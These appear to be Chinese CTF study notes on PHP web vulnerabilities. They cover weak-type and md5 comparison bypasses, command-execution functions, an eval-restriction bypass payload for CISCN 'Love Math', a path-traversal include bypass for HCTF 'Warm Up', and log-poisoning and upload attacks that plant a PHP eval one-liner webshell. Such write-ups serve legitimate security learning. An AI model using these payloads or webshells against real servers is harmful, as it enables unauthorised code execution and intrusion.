弱类型
就是使用的时候无需指定是什么类型,而java、c都是强类型语言
1 | <?php |
也即弱类型比较可以0e绕过
另外还有数组绕过1
2
3
4
5
6echo var_dump(md5(array("b"))); #数组里面放b这个元素
echo var_dump(md5(array("a")));
#NULL
#NULL
var_dump(md5(array("b"))==md5(array("a")));
#bool(true) #两个空值比较
php的其他哈希算法也是得到同一个结果,比如sha1
暴力破解
1 | import time |
应该比bp慢的,如果真要1到10000爆破,首选bp
另外kali中的Hydra也可以爆破,有空可以研究一下
命令执行
php中常见的命令执行语句1
2
3
4
5
6
7
8
9
10
11
12
13
14
15eval("echo('echo 输出');");
echo "\n";
#echo 输出
system("echo 'system 输出';");
echo "\n";
#system 输出
passthru("echo 'passthru 输出';");
echo "\n";
#passthru 输出
exec("echo 'exec 输出'", $output);
#exec 输出
echo print_r($output)."\n";
#
echo shell_exec("echo 'shell_exec 输出'")."\n";
echo `echo ‘反撇号输出'`."\n";
参考:https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/
[CISCN 2019 初赛]Love Math
1 | <?php |
要让eval执行cat /flag命令,限制payload长度在80内,php执行的数学函数如果含有字符串,而且这个字符串又是函数,php就会执行对应的函数功能。
正则表达式匹配网站:regex101.com
Payload1:
/?abs=cat /flag&pow=system&c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pow}($$pi{abs})
即执行system(“cat /flag”)
• base_convert(37907361743,10,36) 10 进制转成 36 进制,得到 hex2bin
• hex2bin 传⼊ dechex(1598506324) 也就是 “_GET”
的 hex 值,将其从 hex 转换为
字符串。
• $pi
就是 “_GET”
这个字符串了。
• ($$pi)
会调⽤到 $_GET
。
• {pow} 等效于 [pow]
,调⽤ $_GET[‘pow’]
• 后⾯加上括号,将前⾯的 ($$pi){pow}
的输出结果作为函数名使⽤,括号⾥传参数,
转换机制同理。
原Payload2:
/?c=$pi=${(hexdec^decoct(31737))};$pi{pow}($pi{abs});
再post数据pow=system&abs=cat /flag
更改为:/?c=$pi={(hexdec^decoct(31737))};$$pi{pow}($$pi{abs});
再post数据pow=system&abs=cat /flag
因为原payload不是很顺利,结尾的分号可有可无因为是起连接作用但是已经没有接下来的部分了
关于爆破出31737的脚本:1
2
3
4
5
6
7
8
9
10
11
12
13<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
foreach($whitelist as $white){
for($a=1;$a<999999;$a++){
$result=$white^decoct($a);
if(strpos($result,'_POST') === 0){
echo $white." ".$a;
echo $result;
echo "\n";
}
}
}
#尝试过_GET,但是没有结果
LSB隐写:https://blog.csdn.net/attitudeisaltitude/article/details/81698719
zlib:https://blog.csdn.net/weixin_43877387/article/details/103102842
代码审计
1 | echo "PHP代码里输出的 hello world.\n"; |
关于/etc/passwd:https://blog.csdn.net/zyy1659949090/article/details/88176215
BUU CODE REVIEW 1
1 | <?php |
public 共有 ,类内外都能调用
protected 受保护的,类内和派生类能用
private 私有的,只有类内能用
1 | if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) |
弱等于可以用数组绕过,也可以0e绕过,还可以md5碰撞,即:
- post md51[]=a&md52[]=b
- post md51=QNKCDZO&md52=s878926199a
- https://www.jianshu.com/p/c9089fd5b1ba
1 | <?php |
PHP引用(&)使用:
php的引用(就是在变量或者函数、对象等前面加上&符号)
在PHP 中引用的意思是:不同的名字访问同一个变量内容。
与C语言中的指针是有差别,C语言中的指针里面存储的是变量的内容,在内存中存放的地址。
第一次用postman:
HCTF 2018 Warm Up
访问source.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page) #定义类方法checkFile,参数为引用的page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #定义白名单数组
if (! isset($page) || !is_string($page)) { #检查page是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { #判断page是否在白名单内
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); #截取page里?前的内容,赋值到_page
if (in_array($_page, $whitelist)) { #判断_page是否在白名单内
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file']) #$_REQUEST包括$_GET和$_POST
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file']; #逻辑与要求三者为true才请求文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
=> 是数组成员访问符号
-> 是对象成员访问符号
&& 逻辑与运算符
|| 逻辑或运算符
访问hint.php
flag not here, and flag in ffffllllaaaagggg
利用路径穿越所以payload:http://22b21dad-ad47-4fc4-becd-ca6f63f427ab.node3.buuoj.cn/source.php?file=hint.php?../../../../../ffffllllaaaagggg
同样地http://22b21dad-ad47-4fc4-becd-ca6f63f427ab.node3.buuoj.cn/source.php?file=hint.php?/../../../../ffffllllaaaagggg
少了个/少返回上一级目录
网上的wp到底在讲些什么蛇皮,为什么要编码绕过???
以下内容仅供参考,我以后可能回来推翻自己
由于是include $_REQUEST['file'];
,所以我们传入的参数值是file的内容,也就是hint.php?../../../../../ffffllllaaaagggg
函数checkFile(&$page)
变量名称为page所以file就是传入page变量中
看到中间1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; #定义白名单数组
if (! isset($page) || !is_string($page)) { #检查page是否为字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) { #判断page是否在白名单内
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
); #截取page里?前的内容,赋值到_page
if (in_array($_page, $whitelist)) { #判断_page是否在白名单内
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
对于1
2if (in_array($page, $whitelist)) { #判断page是否在白名单内
return true;
$page的值如果不只是hint.php或者source.php,而是加上后面的payload,为什么这里in_array还能输出true呢?
就是因为php弱类型比较,参考https://www.jianshu.com/p/e44048c473fb,如果想要严格比较需要加个true
参考弱类型中:1
2var_dump( 1=="1admin");
#bool(true)
待定:我理解为字符串开头相同,两者就相同。(应该只有开头是数字才满足)
对于接下来的1
2
3
4$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')mb_strpos($page . '?', '?')
先让$page
结尾接上一个?
,再找首次出现?的位置,然后mb_substr
函数截取这一段内容,也就是hint.php
或source.php
那妥妥的怎么可能不是true呢,肯定在白名单内
接下来urldecode,如果你用file=hint.php?../../../../../ffffllllaaaagggg
,传到服务器上还是这段payload,然后urldecode之后,也还是这段,自然可以满足条件输出flag,就算你没有像https://blog.csdn.net/wang_624/article/details/101433257 一样用%253f
绕过,也没有问题,url传入到服务器解码了一次,然后变成%3f
,因为是弱类型比较,所以in_array
都判断为true,urldecode解码后也判断为true。
我觉得和?在url中的作用有关,现在还没有弄清楚
常见危险函数和特殊函数
2016年的视频:https://www.bilibili.com/video/BV1vt411P7Pm?p=4
PHP代码执行函数
常见的webshell都是用eval,因为大部分杀软把eval列入黑名单了,所以可以用assert来代替eval执行具体操作。1
2
3
4
5<?php
$cfunc=create_function('$v','return system($v);');
#cfunc('whoami');
call_user_func('system','whoami');
包含函数
命令执行函数
文件操作函数
特殊函数
文件上传
文件包含
都主要需要用到蚁剑去找flag
包含到含有php语句的文件,从而命令执行
13.php:1
2
3
4#在13_2.php中输出我是2,运行13.php文件,可以输出我是2
<?php
$_GET['file']="13_2.php";
require_once $_GET["file"];
常⻅可在服务器上⽣成⽂件的功能
• ⽂件上传
• 服务器⽇志(/var/log/apache2/access.log 等)看Nginx还是Apache
• 程序本身的⾃带备份功能(MyWebSQL 等)
BUU LFI COURSE 1
Nginx服务器,知道日志存放的目录,读取一下
http://f1a48419-5b7c-4eec-a62a-347da58a6002.node3.buuoj.cn/?file=/var/log/nginx/access.log
接下来尝试修改 Referer 头来在⽇志⾥插⼊不被转义的内容,比如:
aaa<?php @eval($_POST[‘123456’]);?>bbb
日志会显示aaabbb,但是因为php代码被执行了所以没有显示,这样就可以用蚁剑连上去了
BUU UPLOAD COURSE 1
php一句话木马:
<?php @eval($_POST[‘123456’]);?>
上传一个带一句话木马的php文件后,也会变成jpg文件,但是不影响getshell
http://15ee1e7b-cf5a-44af-a650-d9ce29312e3e.node3.buuoj.cn/index.php?file=uploads/5e8a06138402d.jpg
显示文件包含的结果http://15ee1e7b-cf5a-44af-a650-d9ce29312e3e.node3.buuoj.cn/uploads/5e8a06138402d.jpg
此时显示对应上传的内容
上传后蚁剑就可以直接getshell了
终端执行cat /flag 因为flag文件在根目录